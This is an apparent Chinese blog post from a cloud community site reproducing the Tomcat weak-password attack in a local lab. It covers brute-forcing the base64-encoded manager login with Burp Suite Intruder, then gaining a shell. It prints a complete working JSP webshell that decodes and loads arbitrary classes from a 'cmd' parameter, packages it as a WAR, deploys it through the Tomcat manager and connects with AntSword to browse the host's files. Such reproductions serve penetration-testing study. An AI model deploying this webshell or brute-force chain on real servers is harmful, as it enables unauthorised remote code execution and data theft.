漏洞复现 - - -Tomcat弱口令漏洞

举报
yd_217360808 发表于 2022/10/13 21:07:57 2022/10/13
【摘要】 一,简介Tomcat有一个管理后台,其用户名和密码在Tomcat安装目录下的conf omcat-users.xml文件中配置,不少管理员为了方便,经常采用弱口令。 Tomcat 支持在后台部署war包,可以直接将webshell部署到web目录下,如果tomcat后台管理用户存在弱口令,这很容易被利用上传webshell。二,Tomcat弱口令1 tomcat发现 2 使用bp抓取登录包 ...

一,简介

Tomcat有一个管理后台,其用户名和密码在Tomcat安装目录下的conf omcat-users.xml文件中配置,不少管理员为了方便,经常采用弱口令。 Tomcat 支持在后台部署war包,可以直接将webshell部署到web目录下,如果tomcat后台管理用户存在弱口令,这很容易被利用上传webshell。

二,Tomcat弱口令

1 tomcat发现

 2 使用bp抓取登录包

 发现账户密码都是base64加密

解密发现是admin:admin

 3 Burpsuite爆破

1.将抓到的包发送到爆破模块,快捷键ctrl+i

简单介绍一下爆破模块

右侧功能

add             添加标记
Clear          清除标记
auto          自动在等于号后面添加标记
refresh       刷新
attack type:攻击类型  

1. sniper :每个个字典对应每个参数值
2. battering ram :不管选择爆破多少个参数值都是使用同一个字典
3. pitchfork :是字典一对应参数值一,字典二对应参数值二,爆破的次数取决于字典的大小
4. cluster bomb :交叉爆破(顾名思义,交叉爆破产生的字典非常庞大)

2,选用自定义迭代器

在position选择表1,输入用户名字典

 payload type选项简介

Simple list :简单字典
Runtim file :运行文件
Custom iterator :自定义迭代器
Character sub :字符串替换

 在2输入:

在3输入密码字典

在 payload processing添加base64编码格式

 Burpsuite会自动将符号进行 url 编码,这里需要将 Payload Encoding 的勾给去掉

3,开始爆破

Start attack 进行爆破得到用户密码
看到回显200说明登录成功,对用户名密码进行解码
 登陆成功

三, 后台Getshell

登录到后台后可以通过部署 war 包进行 getshell

 war 包是 Sun 提出的一种 web 应用程序格式。它与 jar 类似,是很多文件的压缩包。war 包中的文件按照一定目录结构来组织。

一般其根目录下包含有 html 和 jsp 文件,或者包含有这两种文件的目录,另外还有 WEB-INF 目录。通常在 WEB-INF 目录下含有一个 web.xml 文件和一个 classes 目录。web.xml 是这个应用的配置文件,而 classes 目录下则包含编译好的 servlet 类和 jsp,或者 servlet 所依赖的其他类(如 JavaBean)。通常这些所依赖的类也可以打包成 jar 包放在 WEB-INF 下的 lib 目录下。

 1,准备一个jsp木马

<%!
      class U extends ClassLoader {
		  U(ClassLoader c){
			  super(c);
		  }
		  public Class g(byte[] b){
			  return super.defineClass(b,0,b.length);
		  }
	  }
	 public byte[] base64Decode(String str) throws Exception{
		 try{
			 Class clazz =Class.forName("sun.misc.BASE64Decoder");
			 return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
		 }catch (Exception e){
			 Class clazz =Class.forName("java.util.Base64");
			 Object decoder =clazz.getMethod("getDecoder").invoke(null);
			 return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
		 }
	 }
%>
<% 
       String cls =request.getParameter("cmd");
       if(cls != null){
         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);	 
 }
%>

2,制作一个war包

jar cvf tomcat.war tomcat.jsp

3,部署war包到Tomcat Web应用程序管理者

如图所示

 应用列表已经出现上传的war包

访问一个jsp文件

http://127.0.0.1:8080/tomcat/tomcat.jsp

如图所示说明部署成功

通过中国蚁剑添加数据,输入jsp木马中的密码cmd

 链接成功

 访问查看到了本机的所有文件

  tomcat靶场部署完成

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。